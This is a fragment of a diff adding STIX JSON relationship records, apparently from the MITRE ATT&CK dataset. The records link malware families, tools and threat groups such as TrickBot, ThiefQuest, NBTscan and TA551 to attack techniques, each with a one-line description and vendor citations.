"malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "external_references": [ + { + "source_name": "ESET Trickbot Oct 2020", + "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", + "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021." + }, + { + "source_name": "Bitdefender Trickbot March 2020", + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", + "description": "Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021." + } + ], + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses vncDll module to remote control the victim machine.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)", + "relationship_type": "uses", + "id": "relationship--9f372adb-777a-4635-9310-cbb8f432f08e", + "type": "relationship", + "modified": "2021-03-15T18:56:36.730Z", + "created": "2021-03-15T18:56:36.730Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "external_references": [ + { + "source_name": "ESET Trickbot Oct 2020", + "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", + "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021." + } + ], + "description": "[TrickBot](https://attack.mitre.org/software/S0266) utilizes EternalBlue and EternalRomance exploits for lateral movement in the modules wormwinDll, wormDll, mwormDll, nwormDll, tabDll.(Citation: ESET Trickbot Oct 2020)", + "relationship_type": "uses", + "id": "relationship--e56f602c-ec9f-46f0-a52f-45b90220314e", + "type": "relationship", + "modified": "2021-03-15T18:56:36.733Z", + "created": "2021-03-15T18:56:36.733Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "ESET Trickbot Oct 2020", + "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", + "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021." + }, + { + "source_name": "Bitdefender Trickbot March 2020", + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", + "description": "Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021." + } + ], + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses module networkDll for process list discovery.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)", + "relationship_type": "uses", + "id": "relationship--9af0d85e-688a-4dd7-a04e-a175e268855c", + "type": "relationship", + "modified": "2021-03-15T18:56:36.741Z", + "created": "2021-03-15T18:56:36.741Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "target_ref": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc", + "external_references": [ + { + "source_name": "ESET Trickbot Oct 2020", + "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", + "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021." + }, + { + "source_name": "Bitdefender Trickbot March 2020", + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", + "description": "Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021." + } + ], + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses brute-force attack against RDP with rdpscanDll module.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)", + "relationship_type": "uses", + "id": "relationship--c9932124-c6dd-4c26-a762-bde5be25bed7", + "type": "relationship", + "modified": "2021-03-15T18:56:36.782Z", + "created": "2021-03-15T18:56:36.782Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "external_references": [ + { + "source_name": "ESET Trickbot Oct 2020", + "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", + "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021." + }, + { + "source_name": "Bitdefender Trickbot March 2020", + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", + "description": "Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. 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Retrieved February 10, 2021." + } + ], + "description": "[Ebury](https://attack.mitre.org/software/S0377) has implemented a fallback mechanism to begin using a DGA when the attacker hasn't connected to the infected system for three days.(Citation: ESET Ebury Oct 2017)", + "relationship_type": "uses", + "id": "relationship--36849ab3-088c-47a5-bcf9-3e68902a2e60", + "type": "relationship", + "modified": "2021-04-23T22:56:14.884Z", + "created": "2021-03-15T18:58:38.412Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "target_ref": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba", + "external_references": [ + { + "source_name": "Eclypsium Trickboot December 2020", + "url": "https://eclypsium.com/wp-content/uploads/2020/12/TrickBot-Now-Offers-TrickBoot-Persist-Brick-Profit.pdf", + "description": "Eclypsium, Advanced Intelligence. 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Retrieved March 15, 2021." + } + ], + "description": "[TrickBot](https://attack.mitre.org/software/S0266) can implant malicious code into a compromised device's firmware.(Citation: Eclypsium Trickboot December 2020)", + "relationship_type": "uses", + "id": "relationship--20adc21a-7721-470f-82d4-8a4cfb59a8c1", + "type": "relationship", + "modified": "2021-03-15T19:28:36.420Z", + "created": "2021-03-15T19:28:36.420Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "target_ref": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89", + "external_references": [ + { + "source_name": "Eclypsium Trickboot December 2020", + "url": "https://eclypsium.com/wp-content/uploads/2020/12/TrickBot-Now-Offers-TrickBoot-Persist-Brick-Profit.pdf", + "description": "Eclypsium, Advanced Intelligence. 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Retrieved March 16, 2021." + } + ], + "description": "[Turla](https://attack.mitre.org/groups/G0010) has exploited vulnerabilities in the VBoxDrv.sys driver to obtain kernel mode privileges.(Citation: Unit42 AcidBox June 2020)", + "relationship_type": "uses", + "id": "relationship--3185e611-cec6-4910-aa64-efd8fafe1072", + "type": "relationship", + "modified": "2021-03-16T22:50:13.912Z", + "created": "2021-03-16T22:50:13.912Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "external_references": [ + { + "source_name": "Debian nbtscan Nov 2019", + "url": "https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html", + "description": "Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021." + }, + { + "source_name": "SecTools nbtscan June 2003", + "url": "https://sectools.org/tool/nbtscan/", + "description": "SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021." + } + ], + "description": "[NBTscan](https://attack.mitre.org/software/S0590) can dump and print whole packet content.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)\t", + "relationship_type": "uses", + "id": "relationship--306eba85-eeb9-4fcb-8b23-ce38b09bbf24", + "type": "relationship", + "modified": "2021-03-17T15:54:31.029Z", + "created": "2021-03-17T15:54:31.029Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "external_references": [ + { + "source_name": "Debian nbtscan Nov 2019", + "url": "https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html", + "description": "Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021." + }, + { + "source_name": "SecTools nbtscan June 2003", + "url": "https://sectools.org/tool/nbtscan/", + "description": "SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021." + } + ], + "description": "[NBTscan](https://attack.mitre.org/software/S0590) can list NetBIOS computer names.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)\t", + "relationship_type": "uses", + "id": "relationship--be8fb0e9-a924-47be-9bb6-1eebe05881b7", + "type": "relationship", + "modified": "2021-04-24T20:45:08.560Z", + "created": "2021-03-17T15:54:31.034Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "Debian nbtscan Nov 2019", + "url": "https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html", + "description": "Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021." + }, + { + "source_name": "SecTools nbtscan June 2003", + "url": "https://sectools.org/tool/nbtscan/", + "description": "SecTools. (2003, June 11). NBTscan. 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Retrieved March 17, 2021." + }, + { + "source_name": "SecTools nbtscan June 2003", + "url": "https://sectools.org/tool/nbtscan/", + "description": "SecTools. (2003, June 11). NBTscan. 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Retrieved March 17, 2021." + }, + { + "source_name": "SecTools nbtscan June 2003", + "url": "https://sectools.org/tool/nbtscan/", + "description": "SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021." + } + ], + "description": "[NBTscan](https://attack.mitre.org/software/S0590) can be used to scan IP networks.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)", + "relationship_type": "uses", + "id": "relationship--61de6721-267c-4224-8000-b3329f3057cf", + "type": "relationship", + "modified": "2021-03-17T15:54:31.047Z", + "created": "2021-03-17T15:54:31.047Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "target_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8", + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "source_name": "Cybereason Soft Cell June 2019" + } + ], + "description": "(Citation: Cybereason Soft Cell June 2019)", + "relationship_type": "uses", + "id": "relationship--cc443415-7c35-49ab-92a9-3d0cfa68c7b2", + "type": "relationship", + "modified": "2021-03-17T16:14:44.323Z", + "created": "2021-03-17T16:14:44.323Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "target_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8", + "external_references": [ + { + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html", + "description": "Hawley et al. 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Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "description": "(Citation: Dell TG-3390)", + "relationship_type": "uses", + "id": "relationship--e7740e58-d87c-44c4-907c-f66b88851ffc", + "type": "relationship", + "modified": "2021-03-17T16:21:47.087Z", + "created": "2021-03-17T16:21:47.087Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "target_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8", + "external_references": [ + { + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. 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Retrieved June 15, 2020." + } + ], + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used tracert to check internet connectivity.(Citation: ESET ComRAT May 2020)", + "relationship_type": "uses", + "id": "relationship--e0aaa143-5c5f-4c58-8ace-d05b037bf4b6", + "type": "relationship", + "modified": "2021-03-19T13:23:53.228Z", + "created": "2021-03-19T13:23:53.228Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "external_references": [ + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). 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Retrieved March 18, 2021." + } + ], + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used developed tools in Python including [Out1](https://attack.mitre.org/software/S0594).(Citation: Trend Micro Muddy Water March 2021)", + "relationship_type": "uses", + "id": "relationship--95dce028-9046-4bcf-a949-2a0bc40d5038", + "type": "relationship", + "modified": "2021-03-19T13:31:33.400Z", + "created": "2021-03-19T13:27:51.792Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "target_ref": "tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d", + "external_references": [ + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." + } + ], + "description": "(Citation: Trend Micro Muddy Water March 2021)", + "relationship_type": "uses", + "id": "relationship--3574efdf-c9f0-4515-806e-a9a5437be02a", + "type": "relationship", + "modified": "2021-03-19T13:27:52.117Z", + "created": "2021-03-19T13:27:52.117Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) has used GoldFinder to perform HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request travels through.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--045d3fdf-933f-4c8c-ba69-f2e6f2126bd0", + "type": "relationship", + "modified": "2021-03-19T18:48:05.744Z", + "created": "2021-03-19T13:30:05.980Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", + "external_references": [ + { + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", + "source_name": "Security Intelligence More Eggs Aug 2019" + } + ], + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has used HTTP GET requests to check internet connectivity.(Citation: Security Intelligence More Eggs Aug 2019)", + "relationship_type": "uses", + "id": "relationship--04919717-aa68-4192-b095-c1607f8f6ead", + "type": "relationship", + "modified": "2021-03-19T17:16:25.206Z", + "created": "2021-03-19T13:34:56.478Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "external_references": [ + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." + } + ], + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used a PowerShell backdoor to check for Skype connections on the target machine.(Citation: Trend Micro Muddy Water March 2021)", + "relationship_type": "uses", + "id": "relationship--99cfee83-7db8-44c1-8fd8-75bc1c67d17c", + "type": "relationship", + "modified": "2021-03-19T13:38:12.533Z", + "created": "2021-03-19T13:38:12.533Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "external_references": [ + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." + } + ], + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used a PowerShell backdoor to check for Skype connectivity on the target machine.(Citation: Trend Micro Muddy Water March 2021)", + "relationship_type": "uses", + "id": "relationship--77c3f6a1-f25c-4669-bdc1-0f358793dd34", + "type": "relationship", + "modified": "2021-03-19T13:38:12.585Z", + "created": "2021-03-19T13:38:12.585Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "external_references": [ + { + "source_name": "Trendmicro Evolving ThiefQuest 2020", + "url": "https://www.trendmicro.com/en_us/research/20/g/updates-on-quickly-evolving-thiefquest-macos-malware.html", + "description": "Gabrielle Joyce Mabutas, Luis Magisa, Steven Du. (2020, July 17). Updates on Quickly-Evolving ThiefQuest macOS Malware. Retrieved April 26, 2021." + } + ], + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses the CGEventTap functions to perform keylogging.(Citation: Trendmicro Evolving ThiefQuest 2020)", + "relationship_type": "uses", + "id": "relationship--438f9fb0-bf82-4c72-8fdf-0dbc39bcf4fc", + "type": "relationship", + "modified": "2021-04-26T20:02:14.275Z", + "created": "2021-03-19T16:26:04.418Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "wardle evilquest parti", + "url": "https://objective-see.com/blog/blog_0x59.html", + "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021." + } + ], + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) obtains a list of running processes using the function kill_unwanted.(Citation: wardle evilquest parti)", + "relationship_type": "uses", + "id": "relationship--c85af3d4-ab10-4c49-91c4-bff9054096b8", + "type": "relationship", + "modified": "2021-04-26T20:02:14.282Z", + "created": "2021-03-19T16:26:04.440Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", + "external_references": [ + { + "source_name": "wardle evilquest parti", + "url": "https://objective-see.com/blog/blog_0x59.html", + "description": "Patrick Wardle. (2020, June 29). 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The plist file is installed in the ~/Library/LaunchAgents/ folder and configured with the path to the persistent binary located in the ~/Library/ folder.(Citation: wardle evilquest parti)", + "relationship_type": "uses", + "id": "relationship--979bd2a9-bc77-4741-bc79-0badc9e1e98c", + "type": "relationship", + "modified": "2021-03-22T19:11:35.366Z", + "created": "2021-03-19T16:26:04.435Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba", + "external_references": [ + { + "source_name": "wardle evilquest parti", + "url": "https://objective-see.com/blog/blog_0x59.html", + "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021." + } + ], + "description": "When running with root privileges after a [Launch Agent](https://attack.mitre.org/techniques/T1543/001) is installed, [ThiefQuest](https://attack.mitre.org/software/S0595) installs a plist file to the /Library/LaunchDaemons/ folder with the RunAtLoad key set to true establishing persistence as a Launch Daemon. (Citation: wardle evilquest parti)", + "relationship_type": "uses", + "id": "relationship--73798ada-f5a4-4029-ac0c-39bcae68df98", + "type": "relationship", + "modified": "2021-04-26T19:23:34.051Z", + "created": "2021-03-19T19:59:30.368Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "external_references": [ + { + "source_name": "Unit 42 TA551 Jan 2021", + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021." + } + ], + "description": "[TA551](https://attack.mitre.org/groups/G0127) has masked malware DLLs as dat and jpg files.(Citation: Unit 42 TA551 Jan 2021)", + "relationship_type": "uses", + "id": "relationship--f2e075b3-1125-4259-bf0b-1ff90c738354", + "type": "relationship", + "modified": "2021-03-19T21:04:00.991Z", + "created": "2021-03-19T21:04:00.991Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "Unit 42 Valak July 2020", + "url": "https://unit42.paloaltonetworks.com/valak-evolution/", + "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020." + } + ], + "description": "[TA551](https://attack.mitre.org/groups/G0127) has used obfuscated variable names in a JavaScript configuration file.(Citation: Unit 42 Valak July 2020)", + "relationship_type": "uses", + "id": "relationship--9b222cfd-8b08-4843-8b08-32e2476aba36", + "type": "relationship", + "modified": "2021-03-19T21:04:00.988Z", + "created": "2021-03-19T21:04:00.988Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "external_references": [ + { + "source_name": "Unit 42 Valak July 2020", + "url": "https://unit42.paloaltonetworks.com/valak-evolution/", + "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020." + } + ], + "description": "[TA551](https://attack.mitre.org/groups/G0127) has used encoded ASCII text for initial C2 communications.(Citation: Unit 42 Valak July 2020)", + "relationship_type": "uses", + "id": "relationship--6a4eafba-a7fb-46d1-8c50-033e1e3d7409", + "type": "relationship", + "modified": "2021-03-24T14:10:06.828Z", + "created": "2021-03-19T21:04:00.997Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "external_references": [ + { + "source_name": "Unit 42 TA551 Jan 2021", + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021." + } + ], + "description": "[TA551](https://attack.mitre.org/groups/G0127) has used rundll32.exe to load malicious DLLs.(Citation: Unit 42 TA551 Jan 2021)", + "relationship_type": "uses", + "id": "relationship--58565141-69f5-45c4-a7a9-f3eec03f403b", + "type": "relationship", + "modified": "2021-03-19T21:04:01.008Z", + "created": "2021-03-19T21:04:01.008Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "external_references": [ + { + "source_name": "Unit 42 Valak July 2020", + "url": "https://unit42.paloaltonetworks.com/valak-evolution/", + "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020." + } + ], + "description": "[TA551](https://attack.mitre.org/groups/G0127) has used regsvr32.exe to load malicious DLLs.(Citation: Unit 42 Valak July 2020)", + "relationship_type": "uses", + "id": "relationship--0af12d0f-ef9e-40e7-8b70-d811f412125d", + "type": "relationship", + "modified": "2021-03-19T21:04:01.003Z", + "created": "2021-03-19T21:04:01.003Z" + }, + { + "created_by_ref": 